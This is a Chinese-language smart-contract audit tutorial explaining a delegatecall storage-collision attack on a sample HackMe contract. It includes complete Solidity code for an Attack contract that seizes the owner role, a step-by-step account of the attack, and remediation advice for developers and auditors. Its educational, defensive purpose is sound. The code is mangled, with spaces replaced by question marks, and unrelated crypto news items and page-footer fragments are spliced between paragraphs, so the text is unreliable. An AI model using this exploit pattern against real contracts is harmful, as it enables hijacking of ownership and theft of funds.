上篇文章中我們了解了什么是delegatecall函數以及一個基礎的漏洞,這篇文章的目的是加深一下大家對delegatecall的印象并帶大家一起去玩點刺激的,拿下一個進階版的漏洞合約。
這里就不再重復之前的基礎知識了,不了解或者遺忘的可以再看看上一篇文章:《智能合約安全審計入門篇——delegatecall(1)》。
漏洞示例
contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}
設計師推出獲得NFT認證的Apple Watch表帶:金色財經報道,時裝設計師La Maison Steel周二在巴黎時裝周首次推出豪華Apple Watch配件(表帶),它們具有與Polygon NFT綁定的嵌入式NFC芯片。[2023/7/6 22:21:09]
漏洞分析
這次的攻擊目標依然是獲得HackMe合約中的?owner?權限,我們可以看到兩個合約中除了HackMe合約中的構造函數可以修改合約的?owner?其他地方并沒有修改?owner?的函數。我們要如何完成攻擊呢?這里需要一點小技巧,大家可以思考一下,剛好也可以驗證一下自己對于之前知識的掌握程度以及自己的思維是否活躍。
是否有想法呢?沒有想法也沒關系,我們一起來看攻擊是如何完成的:
攻擊合約
巨鯨地址向交易所轉入1.5萬枚以太坊:金色財經報道,據Lookonchain監測,此前在USDT脫錨后從Aave借出5000萬枚USDC進行套利的巨鯨地址,已從Aave撤回1.5萬枚以太坊并轉入幣安、Kraken和Coinbase。目前該地址已開始從交易所提出穩定幣來償還Aave上的貸款。[2023/6/19 21:47:48]
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}
以太坊網絡Gas費短時沖高至125 gwei:金色財經報道,據 Etherscan 數據顯示,以太坊網絡 Gas 費短時沖高至 125 gwei。[2023/4/21 14:16:52]
我們先看攻擊流程:
1.Alice部署Lib合約;
2.Alice部署HackMe合約并在構造函數中傳入Lib合約的地址;
3.攻擊者Eve部署Attack合約并在構造函數中傳入HackMe合約的地址;
4.攻擊者調用Attack.attack()函數將HackMe合約中的owner變為自己。
咋回事兒呢?其實這個攻擊方式就是很巧妙的運用了delegatecall這個函數修改storage類型變量時的特征:delegatecall函數的執行環境是調用者的環境并且對于storage類型變量的修改是根據被調用合約變量存儲的插槽位置來修改的。
以太坊質押協議Rocket Pool推出支持合并的v1.6.0版本:8月25日消息,以太坊質押協議 Rocket Pool Smartnode 堆棧推出支持合并的 v1.6.0 版本,仍在使用 v1.4.x 版本的用戶必須在 8 月 29 日之前升級至支持 Redstone 更新的版本,在使用 v1.5.x 版本的用戶則需要在 9 月 6 日之前升級至支持 Bellatrix 硬分叉的版本。[2022/8/25 12:47:46]
1.Attack.attack()函數先將自己的地址轉換為uint256類型第一次調用HackMe.doSomething()函數;
2.HackMe.doSomething()函數使用delegatecall函數帶著傳入的Attack合約的地址調用了Lib.doSomething()函數;
以太坊7月鏈上NFT銷售額略高于5億美元,創12個月新低:金色財經報道,據最新NFT交易數據顯示,以太坊鏈上NFT銷售額僅為535,698,216.54美元,創下過去12個月的新低,但仍高于去年同期(2021年7月以太坊鏈上NFT銷售額為410,229,362.36美元)。本文撰寫時,以太坊鏈上NFT銷售總額為28,963,820,891美元,交易量為13,033,622筆。[2022/8/1 2:50:42]
3.可以看到Lib.doSomething()函數將合約中存儲位置為slot0的參數改為傳入的值,這樣當HackMe合約使用delegatecall調用Lib.doSomething()函數時也將改變自己在slot0位置存儲的變量的值,也就是將lib參數改為我們傳入的Attack合約的地址。此時之前在HackMe.lib參數中存儲的Lib合約的地址就被修改成我們傳入的Attack合約的地址了;
4.Attack.attack()函數再次調用HackMe.doSomething()函數,由于在上一步我們已經將HackMe.lib變量修改為Attack合約的地址了,這時HackMe.doSomething()函數將不再調用之前的Lib合約而是用delegatecall去調用Attack.doSomething()函數。此時我們再來觀察Attack合約的寫法,發現其變量的存儲位置故意和HackMe合約保持一致,并且不難發現Attack.doSomething()函數的內容也被攻擊者寫為owner=msg.sender,這個操作修改了合約中存儲位置為slot1的變量。所以HackMe合約使用delegatecall調用Attack.doSomething()函數就會將合約中存儲位置為slot1的變量owner修改為msg.sender也就是Eve的地址,至此攻擊者完成了他的攻擊。
修復建議
作為開發者
1.?在使用delegatecall時應注意被調用合約的地址不能是可控的;
2.?在較為復雜的合約環境下需要注意變量的聲明順序以及存儲位置。因為使用delegatecall進行外部調用時會根據被調用合約的數據結構來修改本合約相應slot中存儲的數據,當數據結構發生變化時這可能會造成非預期的變量覆蓋。
作為審計者
1.在審計過程中遇到合約中有使用delegatecall時需要注意被調用的合約地址是否可控;
2.當被調用合約中的函數存在修改storage變量的情況時需要注意變量存儲插槽的位置,避免由于數據結構不一致而導致本合約中存儲的storage變量被錯誤的覆蓋。
來源:金色財經
金色周刊是金色財經推出的一檔每周區塊鏈行業總結欄目,內容涵蓋一周重點新聞、行情與合約數據、礦業信息、項目動態、技術進展等行業動態。本文是項目周刊,帶您一覽本周主流項目以及明星項目的進展.
1900/1/1 0:00:00本文翻譯自ADAMMedium《ADAM:Createa“DataFi”ecosystemandbecomethepreferreddatasourceforDapps》2021年.
1900/1/1 0:00:00據華爾街日報報道,加密市場的持續萎靡使一些上市比特幣礦企陷入困境,公司股票大幅下跌。在美國上市的加密采礦公司,如RiotBlockchainInc.和TeraWulfInc.在今年分別下跌78%.
1900/1/1 0:00:006.29行情解析 比特幣 昨日思路又是完美被驗證的一天,大餅昨日觸底反彈高位至21200一線,給了我們空單入場機會,隨后很順利一路下跌至20150附近支撐反彈,反手做多又獲利,共計1200點.
1900/1/1 0:00:002022年6月25日晚間,迪拜米納·阿薩拉姆酒店座無虛席,萬千格斗愛好者匯聚于此,見證了昆侖決賽事有史以來最激烈的戰斗之夜.
1900/1/1 0:00:00dYdX宣布將轉移至Cosmos生態,將基于CosmosSDK開發定制應用鏈,并在即將到來的dYdXV4版本中實現遷移。這可能是第一次出現,一個業內知名的以太坊原生DeFi應用選擇逃離.
1900/1/1 0:00:00